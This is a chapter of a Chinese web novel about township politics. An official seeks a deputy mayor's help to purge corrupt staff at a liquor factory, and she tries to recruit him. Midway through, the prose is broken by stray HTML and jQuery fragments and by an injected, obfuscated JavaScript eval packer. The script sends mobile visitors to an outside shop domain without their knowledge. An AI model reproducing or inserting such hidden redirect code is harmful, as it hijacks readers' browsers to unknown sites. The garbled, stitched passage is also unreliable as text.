从沈明远办公室出来。
叶舟站在安静的走廊里,脚步顿了顿,心里反复琢磨。
沈明远明明和姜映月不是一个派系,平时几乎互不搭话。
偏偏在自己走投无路的时候,特意让自己来找她。
这里面到底藏着什么门道?
叶舟轻轻吐了口气,暗自摇头。
想不通就先不想。
眼下酒厂烂账压在头顶,二十七个人空饷挂名、六万多账面窟窿,郑智那群老油条稳坐高位,自己手里没人没权,根本动不了。
他没得选,只能硬着头皮上。
姜映月的办公室就在不远处。
木门虚掩着,没关严。
屋里安静,只听得见笔尖划过纸张,沙沙作响。
叶舟抬手,轻轻整理了一下衣领、袖口。
官场求人办事,姿态、仪容、分寸,样样都不能错。
他抬手敲门。
“进。”
屋内声音温和,干净利落。
叶舟推门而入。
姜映月正低头埋在文件堆里,看得认真。
听见动静,她抬眸瞥了一眼,视线落在叶舟身上,微微一顿。
随即放下手里的笔,嘴角勾起一抹浅浅笑意。
“哟,稀客啊。”
姜映月靠在椅背上,笑着打趣。
“这阵子你可是大忙人,又是民政办,又是酒厂工作组,天天两头跑。今天怎么有空跑到我这冷衙门来了?”
叶舟听得哭笑不得,连忙露出一副老实恳切的样子。
“姜副镇长,您就别调侃我了。”
他一脸苦笑着摊摊手。
“我这哪是跑来串门,我是真被逼得没办法,特地来跟您求助的。最近酒厂的事,简直把我脑袋都熬大了,天天睡不着。”
姜映月看着他这副模样,眼底笑意更浓了几分。
她心里太清楚。
最近整个安溪镇政府,风头最盛、最能干事、最敢扛事的,就是眼前这个年轻人。
别人避之不及的烂摊子,他敢接。
别人谈不下来的资金,他能磨下来。
就连家里私开超市,生意做得风生水起,脑子、魄力、眼力,样样在线。
姜映月心里暗自感慨。
年纪轻轻,沉得住气,还会办事。
假以时日,这人绝对藏不住。
“怎么?酒厂改革推进不顺利?”姜映月随口问道,语气轻松,“梁镇长不是刚给你拍板贷款担保吗?资金不是快到位了?还有难题?”
叶舟闻言,顺势往前挪了半步,姿态放得很低,语气带着几分为难。
“资金是有盼头了,可根子烂得太深。”
他压低声音,慢慢说道。
“杜小斌是抓走了,可他手底下那帮老人,一个没动。车间主任、副厂长、骨干中层,全是他一手提拔的心腹。”
“我昨天核对欠薪台账,查出一堆糊涂账、空饷账。”
叶舟苦笑一声。
“我想借着纪委的名义,把这帮人捋一捋,清清蛀虫。不然厂子就算复产,这帮人在里面盘踞着,早晚还要继续烂。”
姜映月听着,微微点头,一副了然神色。
“所以,你是想让纪委继续跟进,深挖余党?”
“是。”叶舟点头,“可我这边……不太好开口。”
姜映月下意识接话:“那你直接找郝书记不就行了?纪委办案,本来就是本职工作。”
话说一半,她自己忽然停住。
下一秒,她忍不住失笑摇头。
瞧她这问话问的。
她都忘了这里面的派系隔阂。
全镇谁不知道?
叶舟是沈明远的人。
沈明远和郝国民,面和心不和,常年不对付。
郝国民看着老实,实则最会看人下菜碟。
对上不敢惹梁栋,对下,最喜欢卡沈明远这边的人。
叶舟直接找上门,别说帮忙,大概率直接被怼回来,碰一鼻子灰。
想通透这一层,姜映月再看叶舟,眼神就温和多了。
“坐吧,别站着说话。”
她抬手示意沙发,起身想去拎暖水瓶。
“我给你倒杯水。”
“别别别!姜副镇长您别动!”
叶舟连忙快步上前拦住,手脚麻利。
“我自己来就行,哪能劳您动手。”
他熟练拿起空玻璃杯,拧开暖水瓶倒水。
余光一扫,瞥见姜映月桌上的搪瓷杯,茶水已经见底,干干净净。
他手指微微一顿。
就一秒。
随即若无其事收回视线。
他心里飞快碎碎念:
不能倒。
绝对不能。
办公室门半开,人来人往。
自己是沈明远嫡系,主动给别的派系领导倒水、献殷勤,传出去怎么听?
“叶舟两头讨好”“年轻不懂规矩”“私下攀附姜映月”。
闲话杀人,比斗争还可怕。
分寸,必须卡死。
于是他只给自己倒满一杯温水,把暖水瓶稳稳放回原位,规规矩矩坐下。
全程细微小动作,一丝不差,全部落在姜映月眼底。
她心里暗暗一笑。
精。
太精了。
看着老实巴交,实则心思细得可怕,每一步都不走错。
沈明远这是捡着宝了。
姜映月似笑非笑看着他。
“叶舟啊叶舟,你这人,看着一脸憨厚老实。”
“怎么跟着沈副镇长混了一阵子,变得这么会揣心思了?”
叶舟嘿嘿一笑,不接话,只装傻。
见状,姜映月干脆也不绕弯子,半开玩笑、半认真地开口:
“我看你能力这么强,待在沈副镇长那边屈才了。”
“怎么样?要不要换个山头?”
叶舟一愣。
姜映月笑着继续:“我这边计生办主任刚好空缺,一直没人顶上来。你要是愿意过来,这个位置,我直接给你留着。”
赤裸裸的挖墙脚。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641610|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
一点不藏。
叶舟心里猛地一跳,瞬间清醒。
来了!
果然是试探!
他连忙摆手,一脸诚惶诚恐。
“姜副镇长,您可千万别开这种玩笑!”
他连连苦笑。
“我现在一个酒厂工作组的活,就压得我天天睡不着觉,头皮发麻,焦头烂额。我哪还有本事挑岗位、换部门?我现在只求能把酒厂烂摊子收拾利索,我就烧高香了。”
话说得漂亮、姿态够低、不得罪、不松动。
紧接着,他身子微微前倾,神色瞬间认真。
“不过!”
叶舟语气诚恳,字字铿锵。
“今天您要是愿意帮我这一把,帮酒厂清清蛀虫、铺平道路。”
“往后您姜副镇长但凡有任何安排、任何吩咐。”
“我叶舟,随叫随到。能办的立刻办,不好办的,我想尽办法也给您办妥!绝不推脱,绝不打折扣!”
这话一出。
办公室瞬间安静两秒。
不是客套。
是实打实的卖人情、欠人情、表态站队。
姜映月深深看着他,眼底笑意收敛,多了几分欣赏。
体制内,最值钱的从不是礼物,是承诺。
片刻后,她忽然放声大笑。
“哈哈哈!好你个叶舟!会说话!”
她指着叶舟,笑得通透。
“话都说到这份上了,我要是还端着、不帮你,那倒显得我姜映月小家子气,不懂做人了!”
笑意褪去,她神色认真下来。
“你放心。”
“纪委郝国民那边,我去说。我帮你把路子铺平,让他们进场彻查酒厂旧账、空饷、遗留问题。”
叶舟心里一块大石瞬间落地,长长松了口气。
太难了。
这一路求人、周旋、博弈,总算撬开一条口子。
但下一秒,姜映月又淡淡补了一句。
“不过叶舟。”
“人情是相互的。我今天帮你,改天我有事找你,你可别给我装傻、打马虎眼。”
叶舟立刻起身,神色郑重无比。
“您放心!绝对不会!”
“只要您开口,我叶舟绝无二话!”
语气干脆,态度坦荡。
姜映月满意点头。
从办公室出来,叶舟走在走廊上,脚步轻快了不止一点。
心里却依旧在复盘,碎碎念不停。
姜映月刚刚那句话,绝对不是玩笑。
计生办主任的位置,她是真动了挖自己的心思。
说明自己这阵子的做事、能力、成绩,全部被领导看在眼里。
压力更大了。
但机会,也更多了。
叶舟抬头望向远处的厂区方向,眼神渐渐锐利。
纪委一旦入场。
查账!清人!拔蛀虫!
郑智、孙建军那帮杜小斌旧部,好日子,到头了。
接下来,就是洗牌、换血、安插自己人的关键时刻。